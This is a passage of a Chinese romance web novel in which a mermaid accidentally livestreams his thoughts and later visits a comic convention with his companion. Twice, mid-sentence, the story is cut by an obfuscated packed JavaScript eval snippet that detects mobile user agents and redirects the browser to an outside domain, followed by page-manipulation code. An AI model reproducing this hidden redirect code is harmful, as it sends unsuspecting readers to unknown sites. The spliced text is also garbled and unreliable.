【巧克力牛奶】：宝宝嫩嫩的好像睡美人啊，快让我亲亲好不好？么么么！ 【月了个饼】：我的手机好像坏了，亲不到宝宝，气死了，下辈子要买一个能亲到宝宝的手机！ 虽然直播间只有一百多个人，但弹幕铺天盖地，聊出了千军万马的气势。 棠溪生直接被弹幕淹没了。 门锁咔哒作响，齐思筠推门进来，抬眼就看到了坐在床上对着手机发呆的棠溪生，眼角隐隐闪烁着泪光。 这么委屈。 难道是被人欺负了？ 齐思筠正想说话，棠溪生迅速仰头，竖起食指挡在唇前，朝齐思筠摇了摇头。 ——嘘。 齐思筠看懂了指示，沉默着走到桌边，抽了个椅子坐下，他目不转睛地盯着棠溪生，脑中忽然有一道惊雷炸响。 明明在用手机，却已读不回？！ 齐思筠目光瞬间变得犀利起来，锐利的目光如同闪电，逼得棠溪生不敢直视，唯有硬着头皮转移注意力。 棠溪生朝手机上哈了口气，擦干净屏幕，再把手机翻回来，关掉美颜，继而扬起一个僵硬的微笑，他朝着屏幕招招手，又伸手指了指嗓子。 人在尴尬的时候会变得很忙。 鲛人也不例外。 【草莓镶籽师】：主播你看起来好忙喂，擦什么呢，别擦了，来跟我们互动吧～ 【扣1热聊速来】：嗯，如果他追我的话…… 【世界姐天天吃国宴】：眼神清澈愚蠢，主播是大学生吧？ 【AAA海产品批发张哥】：说话，一句话一个火箭。 【冰糖炖雪梨】：看手势，煮啵嗓子不舒服？ 弹幕的流速很快，如同导弹发射一般，棠溪生只来得及看清这几条弹幕。 最底下的那条居然在关心他。 棠溪生瞄了眼旁边端坐着的齐思筠，喝完了最后半杯水，感动不已，想：舒服，但差不多是个哑巴。 【帅哥入我怀】：没关系，我们的哑巴新郎！ 【这天下终究是姓复的】：没关系，我们的哑巴新郎！ 【玩转八岐大蛇plus版】：没关系，我们的哑巴新郎！ 棠溪生茫然失措，唇瓣微微张开，又偷偷看了眼旁边的齐思筠，想：我刚刚没说话诶。 【红眼掐腰文学】：呵，男人，废话文学已经过时了。 【被窝哲学家】：主播明明张嘴了，我们都听到了。 【早八给爷死】：听到了+1 【乌拉呀哈】：+2 棠溪生没来得及细想，忽然瞥到直播间右上角的数字，已经飙升到了“1589”。 他吓得直接把手机甩了出去。 10. 上岸的第10天 棠溪生捡回手机，疑惑中带着一缕好奇，好奇中夹杂着一丝忐忑，他阖眼深呼吸，把手机翻转过来，再次对准自己的脸。 【狗再叫狗别怂】：呜呜，宝宝刚刚是手滑了吗？ 【狼来了】：煮啵现在特地把手机捡回来，还看我了，他一定是想亲我了！我可以！ 【瓦达瓜擦】：主包的银蓝色美瞳好好看，是哪家的？能不能上个链接？ 【家大业大】：哎呀，屏幕进水了，好帅，舔舔。 【家大业大】：这张脸真是鬼斧天工般的存在，一时间，我居然什么污言秽语都讲不出来了。 【劁猪哟】：前面的，你不是手机进水了吗？ 【世界姐】：主播明显是在发呆好吧？但直播风格好清新脱俗不做作，只需要一张脸，爱了爱了。 【弯的four】：嗯……如果煮啵嫁给我的话……就算让我莫名其妙获得五百万，我也愿意！ 【高级退堂鼓选手】：咋还连吃带拿的？给我一千万我也行！ 【俺不中嘞】：夸不出来，只能疯狂偷你们的烧话，撑撑场面这样子。 弹幕横飞，直播间右上角的数字不断跃动更新，某一秒定格在了“7777”，棠溪生把手机翻过来，盖在床上。 房间里发出啪的一声巨响。 不远处的齐思筠：“？” 手劲儿挺大。 不对，这是在捣鼓什么呢？ 但棠溪生没发话，齐思筠不敢轻举妄动，他端坐在椅子上，cos一尊合格的冰雕，看着棠溪生进行意义不明的play。 弹幕的流速越来越快、尽管不知道这些发言具体是什么意思，但棠溪生发现，这些观众不仅能看到他的脸，似乎还能听到他的心声。 因为他根本没说过话。 事实究竟怎么样，还有待查验。 棠溪生做好了心理建设，挤出个标准的微笑，又把手机翻转过来。 【闪现净化空气】：看这完美的小脸蛋，得不到，求弯掉。 【给饼干扎洞】：老师您长得好爽啊，我快爽死了，请问老师不改名有什么深意吗？ 【妙苗淼亩】：主包今天的直播开多久？可以把您当临摹素材吗？ 【出门走下水道】：那天登你的号，好多人叫你宝宝，你说你会改的，怎么改的是密码？嘤嘤嘤。 【我精神挺好的】：替主播评论区随机抽一个人，不送东西，纯抽。 【吗喽王中王】：快别玩你们那个抽象梗了，消停会儿吧，煮啵都卡成ppt了嘎嘎嘎。 【你的弓虽来了】：【吗喽王中王】，你也没放过他。 【正经的id】：煮啵是混血吗？ 棠溪生眨了眨有些酸涩的双眼，视线掠过以上几条弹幕，敏锐捕捉到了“混血”两个字，不由自主地想：我是鲛人呀。 这念头刚一冒出来，他就后悔了。 【纯恨战士】：切，都是成年人你编什么童话呢？这世界上连人鱼都没有，还鲛人呢？搞笑！ 【好大的虎纹鲨鱼】：23333，煮啵竟然是个中二病，更爱了！ 【好大的虎纹鲨鱼】：马猴烧酒们，酷爱跟我一起，解除体内尘封已久的封印吧！ 棠溪生捧着手机，瞄到了“中二病”三个字，无奈叹气，疑惑不解地想：我没有病呢。 【国服医者战绩可查】：老夫观此子眼睛炯炯有神，形体匀称，除了肤色过于白皙，看不出身体有潜在问题。 【国服医者战绩可查】：你愿意让我看看你的舌苔吗？不行的话，让我看看你的微信号也可以。 【四季豆滚粗】：插播一条不算广告的广告，看到我id的人麻烦跟我默念，四季豆去死去死去死！！ 【榴莲水果王】：我推天下无双，横扫六合八荒，看我id的人麻烦跟我一起快乐吃榴莲，不吃绑架，谢谢配合。 【榴莲水果王】：主播你好呀，你喜欢吃榴莲吗？不吃榴莲的话，榴莲吃你也不错～ 【红粉凤凰花凤凰】：看到我id的人可以多做几个提肛运动，多喝水！提示一下，念我id不用出声的！ 【iiaoqk】：主播别傻站着不动啊，嘿，你是人机吗？ 【全世界种满香菜】：煮啵小淘气，声音这么好听，不爱说话？再不说话就把你抓去种香菜哦～ 几轮弹幕翻滚过去，直播间的观看人数就跟打了激素似的，已经攀升到了惊人的“26791”。 【a市五十套房】：现代人谁没有几个心理+身体疾病的，姐看楼上那些精神状态都挺美丽，反观煮啵嘛…… 【a市五十套房】：啧啧啧，不得了，精神状态如此稳定？！ 【a市五十套房】：有个性，有颜值，这个没法喷，这个姐是真喜欢。 【a市五十套房】：奇怪了，怎么没人刷礼物？ 【a市五十套房】打赏【火箭】x13 【a市五十套房】打赏【跑车】x14 火箭和跑车酷炫的特效撑满全屏，闪瞎了无数屏幕前观众的双眼，当然也包括棠溪生的。 【梦想是一栋痛墅】：这不是我a姐吗？果然，有小鲜肉的地方就有我a姐的身影。壕无人性，蚝油石粒！ 【38201】：私斋蒸鹅心。 【顺着网线偷老公】：咪，求你快收收味儿啊！ 绚丽夺目的光晕晃得棠溪生不敢再想任何东西，他终于确认了，无论他想什么，都会被本场直播的观众听到心声。 这合理吗? 简直比他是鲛人还离谱！ 棠溪生眼角泛红，求助似的看向齐思筠，单手握手机，还不忘比划着“噤声”，他抽了张纸，盖住前置摄像头。 居然还不能说话。 齐思筠就近从抽屉里翻出一个口罩戴上，高冷地走到床前，默然抽走棠溪生的手机，面无表情，开始独属于他的表演。 【您的人气爆棚，推流持续增长中，确定要立即关闭直播吗？qaq】 这提示语太过熟悉，齐思筠懒得多看，一划一点。 【等一下关闭直播/晚一点关闭直播quq】 齐思筠眉梢一扬，直接把app后台划走了，没留给系统半点解释的余地，万恶之源终于从棠溪生这台手机的屏幕上消失了。 世界终于恢复到了正常的模样。 也许。 棠溪生擦掉满头虚汗，抬首准备投去一个感激的笑容，就见到齐思筠单膝跪在床上，把拿着手机的那只手别在了身后。 “你好，”齐思筠单手摘掉口罩，沉声吐字，“请问现在我可以说话了吗？” 温热气息扫在棠溪生耳畔，酥酥痒痒的。 两人有一定的体型差，棠溪生刚刚坐在床上，气势上已经矮了一大截，此刻他仰视着齐思筠，于电光火石间做出决定。 ——放弃夺回手机。 反正本来就是齐思筠给他买的，要拿回去也很正常，就当是物归原主了。 棠溪生双手撑床，往后一缩，下意识摇摇头，忽然想起直播已经结束了，齐思筠不是哑巴，又忙不迭点头。 说，爱怎么说怎么说。 全天下人都有说话的权利！ 齐思筠不依不饶，轻轻握住那截白皙光滑的小腿，把棠溪生重新拉回眼前，“小生，你刚刚这么久不回消息，害我站在门口敲门，白担心一场，跟只猴子似的，敢情你是在玩儿直播呢。” 完蛋了。 他还说等下研究完手机就回消息呢，结果出了点意外，难怪会生气。 宽大的手掌包裹住小腿，棠溪生无法忽略掉齐思筠掌心的温度，只能别过头，耳尖霎时烧了起来，他特别无助，打心底发出一一声嘤。 救命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607038|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是不是要被打包卖掉了TvT 不要啊，他是一条好鱼！ 齐思筠眸光微沉，晕开意味不明的情绪，他维持着居高临下的姿势，葱白的指尖轻勾，替棠溪生将长发别到那简直要滴血的耳后，发出一声闷闷的笑。 算了。 和一个离家出走的小朋友计较什么，更何况人现在还是他名义上的对象，齐思筠有理有据地安慰自己，接着在心里敲起了赛博木鱼。 我若气死谁如意。 况且伤神又费力。 齐思筠适时的抽走手掌，看到棠溪生那截笔直匀称的小腿上出现了五道浅浅的指印，洁白与鲜红形成了强烈对比。 他眸光微沉。 明明没用多少力，竟然红了，这体质得有多差。 或许得适当加强锻炼。 棠溪生瞬间缩回腿，环抱膝盖坐在床上，过了会儿，朝着齐思筠伸出一只手，“啊。” 齐思筠往后退了点，“手机还给你？可以，但你得答应我一个条件。” 棠溪生疑惑歪头。 什么条件？ “小生，对你来说，屏幕传递的信息远比声音更有用。记得及时回我消息，实在不行就把我设置成置顶，这样万一有事，也立刻联系我。” “——别让我担心。” 齐思筠说完这段话，没等棠溪生点头，就干脆利落地离开了房间，走到门口时，高大的背影踉跄了一下。 反倒像是落荒而逃。 棠溪生抚摸着回归自己怀抱的手机，脑海中放映着刚才的画面，感觉整个人都晕乎乎的，有点缺氧，他索性躺倒在床上，任由思绪飘散。 原来刚刚那个误打误撞开的，就是直播，怪不得那些人会称呼他为“主播”，那么由此可得—— “煮啵”就相当于“主播”。 等到棠溪生彻底冷静下来，他用手机搜索了“打赏”的意思，重新登录那个奇怪的app，查看了创作者的后台，震惊得差点从床上弹射出去。 要命。 他好像赚了什么不该赚的大钱！该不会有人类顺着网线过来抓他吧？ 棠溪生闭上眼睛回忆，火车和跑车都来源于那个“a市五十套房”的id，自称“姐”，应该是个女孩子，得想个办法把钱还给她。 为了研究如何退钱，同时避免类似的意外再次发生，棠溪生绞尽脑汁，小心翼翼地戳开一个个选项，还善用了浏览器的搜索功能。 但他就是找不到在哪退钱。 辛苦的棠溪师傅忙碌了小半个下午的时间，脸上的表情逐渐凝固，从0.0变成O.o，最后终于变成了TvT，并且后知后觉地想起自己有个“对象”。 他第一次主动打开聊天软件，发现列表空荡荡的，只有一个联系人，就连绑定手机号也是齐思筠的。 很好。 他待在齐思筠家里，悠闲惬意，连当挡箭牌的机会都没有，大概只起到了清新空气的作用，还不一定净化到位了。 棠溪生改完id，点进聊天窗，顺走了表情包，略一迟疑，把齐思筠设置成置顶。 ［用户098741］：你好，齐siyun ［用户098741］：我想问问你，刚刚开的直播，我收到了很多个跑车和火箭的打赏，要怎么样才能给她退钱？ ［用户098741］：黄色兔子大叫.jpg 棠溪生在齐思筠家住了一晚上，还不知道“齐思筠”究竟是哪三个字，此刻，他一板一眼地打完五个字母，点击发送的同时，再次抱住了脑袋，发出无声的哀嚎。 好大一个笨蛋。 ……真是丢鲛人的脸捏^_^ 几秒钟后，棠溪生的手机振动了两下，他赶紧点开消息。 ［SY］：齐思筠，sīyún ［SY］：记住了吗？ 11. 上岸的第11天 棠溪生眼帘微垂，认认真真地敲下两排字，分别点击发送。 ［用户098741］：记住了。 ［用户098741］：齐思筠，齐思筠，齐思筠。 手机连续振动，齐思筠几乎是秒回。 ［SY］：小生，直播打赏的礼物一般都不能退，除非对面通过一些渠道，主动要求你返还。 ［SY］：不用烦恼，你可以把这当作是一种表达喜爱和赞美的方式，就好比普通朋友喜欢你，也会心甘情愿给你送礼物那样。 ［SY］：只不过恰好遇到了出手阔绰的人，所以金额才会显得比较大。 ［SY］：不过，你爸妈管你管得这么严，连娱乐性质的app都不让你接触吗？ 棠溪生看着屏幕上的那段话，愣了一会儿，发觉齐思筠是在暗戳戳地问他为什么连“直播打赏不能退”都不知道，他无言以对，最终决定回复一个新学的颜文字。 ［用户098741］：TvT ［SY］：收到。 ［SY］撤回了一条消息。 ［SY］：懂了。扶额苦笑无奈.jpg 一个小小的颜文字，既生动又形象，还能不动声色地将问题暂时解决，棠溪生为自己的聪明才智而感到骄傲，美滋滋地扬起下巴。 他朝自己竖了个大拇指。 还没等棠溪生高兴完，他的注意力就莫名回到了“普通朋友喜欢你，也会心甘情愿给你送礼物”这一句上。 说起来，齐思筠今天也送了衣服、手机和项链给他，应该都算礼物吧。 是因为喜欢他吗？ 棠溪生指尖轻点屏幕上的“普通朋友”四个字，没有多想，他抱着手机去窗台边吹风了，直到齐思筠喊他吃晚饭才下楼。 摸摸摸摸。 你说这个手机怎么这么好玩捏=v= /// 别墅有保姆们负责打扫，不缺日常用品，冰箱里的食物也会每日更换。 两个人宅在家里，半个月没出门。 除了一日三餐，棠溪生和齐思筠连楼梯都很少下，交流在手机上进行，对于王婶免费赠送的“低头族”称号，二人兴然接受，而后瘫在沙发上，换了个仰头的姿势—— 继续玩。 棠溪生每天坚持使用手机，学习关于人类社会的一切，了解到许多新奇的知识，由于齐思筠的分享，他下载了许多app，初步接触了电视剧、综艺和动漫，学会了如何运用“梗”。 这种交流方式更贴近人类。 大数据推送的信息量爆炸，令人既兴奋而期待。 唯独有一件事令他感到很奇怪。 为了放松眼睛，棠溪生偶尔站在阳台往下望的时候，总能看到齐思筠怀里揣着东西，或者推着四个轮子的小车车，在相邻的别墅进进出出，不知道在忙活什么。 某天早上，棠溪生还在梦乡里。 “早安，”梦里的男声低沉悦耳，“醒醒，今天有新的行程安排。” 等等。 ……这似乎不是梦o.O？ 被强制开机这种事一回生二回熟，棠溪生散落的乌发下，白皙而修长的颈脖微微仰起，睡眼朦胧地找准了自己的定位，他朝着齐思筠短促地啊了一声。 齐思筠像筛豆子那样晃了晃棠溪生，“小生，该起床了。” 过了大概两分钟，棠溪生浑身一抖，看清了眼前的齐思筠，也看清了两个人的姿势，他赶紧从面前过分温暖的怀里滑出来。 齐思筠眼尖地发现，棠溪生的耳根连带后颈都微微泛红，唇角翘了翘。 棠溪生目光闪躲，慢吞吞地爬回床上，拿起手机给齐思筠发消息，又打了个哈欠，他的睡衣没穿好，腰部流畅的线条，随着下床的动作漏在外面。 ［用户098741］：什么新行程，是我可以去的吗？ ［用户098741］：蓝白色小猫跳跳.jpg 齐思筠不着痕迹地挪开视线，将注意力调回手机上，专心致志地回复消息。 ［SY］：今天周六，市中心有个叫ATN的漫展，我上上个月就买好票了。 ［SY］：之前你见过的罗宋，他不搞cosplay，我本来想一个人去的，但是没想到认识你了。 ［SY］：不带你去的话，我姐可能又要指责我祸害了你，还忍心把你丢在家里。黄豆委屈.jpg ［SY］：非常抱歉昨天晚上没有告诉你，因为不确定收不收得到票，凌晨才从黄牛手里拿下。 ［SY］：小生，你愿意陪我一起去吗？ “漫展”和“cosplay”是两个新奇的概念，这几天高强度上网冲浪的时候，他看到好几次，但没有怎么用心了解。 棠溪生打开浏览器，紧急搜索“ATN漫展”，一目十行地恶补了相关流程，然后他一脸淡然地爬回床边，穿好拖鞋，站起来打字交流。 ［用户098741］：嚎得。 ［用户098741］撤回了一条消息。 ［用户098741］：好的，我没有问题，我跟你一起去^o^ ［SY］：谢谢你，小生。企鹅单脚转圈.jpg ［SY］：这次我不出cos，就是随便逛逛，买点东西，你正好可以借机体验一下。 ［SY］：纸巾、湿巾、充电宝、雨伞、薄荷糖、拖鞋还有小零食，我都已经准备好了，你还需要带什么东西吗？ ［用户098741］：我没有什么需要带的东西，但是到时候可能想会喝水，麻烦你带点水。 ［SY］：好，带了的，如果喝完了就在贩卖机买。 棠溪生抬眸看向齐思筠，露出一个欲言又止的表情，但实际上他也没法开口。 ［用户098741］：奶白团子装傻.jpg ［用户098741］：齐思筠，其实你可以不用打字的。 齐思筠被棠溪生提醒了一句，后知后觉地反应过来，他嗓子没问题，可以直接交流。而且他们两个人一站一坐，都沉默着低头打字，画面实属有些搞笑。 受照顾的人适应良好，反倒是他这个照顾人的被惯性思维绕进去了。 棠溪生朝着齐思筠晃了晃手机，屈指轻敲屏幕，打开的备忘录里只有四个大字在跳动—— “饿饿，饭饭。” 齐思筠掐灭屏幕，失笑道：“是我考虑得不周到，等你洗漱完就下去吃饭吧。” 棠溪生摸了摸平坦的腹部，感觉是饿得变瘪了，于是哒哒哒的跑进了洗手间。 水声哗啦啦，从洗手间里传出来，如同一首轻快的钢琴曲。 炸开的翘毛从眼前飞走了，轻盈得像一只翩跹的蝴蝶，齐思筠唇角的弧度越弯越大，忍住了想走进洗手间帮人整理头发的冲动。 等下照镜子就能看到了吧。 应该不用帮忙。 /// 结果许管家开车把两个人拉到ATN漫展入口处时，棠溪生头顶那撮翘毛还顽强地耸立，在猛然刮起的狂风中更加凌乱。 “这次没有夜场，麻烦许叔晚上六点左右来接我们，有事的话随时给你电话。”齐思筠对着许管家说完，视线转向被风吹得眯起双眼的棠溪生，抬高音量道：“小生，走，让我们一起打开新世界的大门。” 棠溪生努力张开双眼，“啊。” 许管家忽然提醒道：“少爷，您的东西还在后备箱里。” 齐思筠脚步一顿，绕到后备箱拿出小型的行李箱，伸手把棠溪生揽到身边，他摁下了那一撮倔强的炸毛，又贴心地替人理了理长发。 棠溪生往对话框里丢了句“谢谢你”。 齐思筠的裤兜发出振动，他不用看都知道是棠溪生的消息，同时猜出了内容，打开手机一看，果然。 真是特别有礼貌的小朋友。 妖风突如其来，走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607699|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得也快，风停时，许管家开着车扬长而去，徒留原地一堆伸长脖子的人细品豪车尾气。 好几道视线前后落到身上，齐思筠眸光微动，说：“跟紧点，小生。” 不仅是车显眼，还有棠溪生的脸。 棠溪生看着来来往往的各路人，明白了漫展的人流量很大，重重点头，紧紧跟在齐思筠身后，生怕走丢。 海洋太辽阔，他以前去朋友家串门时偶尔也会迷路。 小心为上。 由于齐思筠买的是svip票，所以二人花费的时间很少，除了必要的安检流程外，基本一路畅通无阻，还收到了官方赠送的无料，一人一份。 棠溪生好奇地扯开印着动漫人物的镭射口袋看了看，然后把它挎在腕间，试图让自己显得不那么奇怪。 毕竟他是第一次来参加这种活动。 新奇又紧张。 此刻，整个场馆看起来有点空荡荡的，搭建好的各个展台发出五颜六色的光彩，播放的bgm各有不同，但都十分燃。 美妙的音乐不分国界和地域，棠溪生沉浸在音乐里，几乎要跟着哼唱起来。 齐思筠指着奔向各个摊位的同好，笑着科普：“小生，他们这是急着去打卡集章，某些摊位的免费无料数量有限。” 虽然棠溪生颜值高，但一看就是没经受二次元洗礼的模样，他得主动肩负起给现充当翻译的重任。 棠溪生带着一点水光的薄唇微张，呆呆地点头，两秒过后，他骤然回神，一脸震惊地四处张望，终于在看到齐思筠脸蛋的时候，彻底压制了鲛人血脉中能歌善舞的躁动因子。 好强烈的氛围感和渲染力，竟然能做到诱逼他张嘴唱歌。 漫展，好生可怕！ 齐思筠带着棠溪生逛了几个店，钻出来后开始碎碎念：“停谷是不可能的，这辈子都做不到的，这几家柄图还不如外边那些便利店里的新——小生，我们往里走走。” 棠溪生抬眸望向齐思筠。 这下省了打字的功夫，眼神里的疑惑几乎都要溢出来了。 齐思筠忍俊不禁，比划着解释道：“goods，不是平常吃饭的那种五谷，就是动漫相关的东西，现在整个场馆里的商品都算。” “‘柄图’就是上面好看的图案。” “小生，你看到有喜欢的告诉我，都可以拿下。”齐思筠怕棠溪生体验感不好，赶紧补充了一句。 他自认为没有雷点。 早在很久以前，齐思筠就接触了解这个圈子，虽然最开始并没有“圈”的概念，那时候徽章也不叫“吧唧”，但他为了买到心仪的周边，才开始学习使用各种收出物平台。 从不懂话术，好几次被人误会拉黑的新人，到只要看到自家推的名字，齐思筠几乎都能抢到，并且全凹，在此期间经历了无数的坎坷。 他渐渐展现出不俗的食力。 除此之外，齐思筠不挑捆物，收货迅速，只要对面态度良好，处于正常人范围，几乎都会给对面的出物咪打好评。 因此，就算齐思筠顶着灰不溜秋的系统头像，平台id甚至都是简简单单的“sy（不拒同担）”，还是被圈内人冠上了一个亲切的头衔—— 凹少爷。 齐思筠回忆起在小番薯上刷到关于他的离谱称呼，顿感脚趾的业务开始繁忙，他无可奈何地叹了口气，带着棠溪生往场馆深处走。 二人近在咫尺，一前一后地走着。 齐思筠带棠溪生逛了好几个摊位，以雷霆之势扫荡了一堆立牌、透卡和吧唧，吃谷的兴奋感直冲脑海，仍然没忘记留心棠溪生的表情。 棠溪生耐心地陪着齐思筠转悠。 尽管已经是上岸的第n天，初步适应了人类的生活，在五彩斑斓的光束灯照耀下，棠溪生仍感到眼花缭乱，他突然眼前泛黑，脚步停滞，慌乱中一把揪住了齐思筠腰身以下的某样东西—— 一条毛茸茸的狐狸尾巴。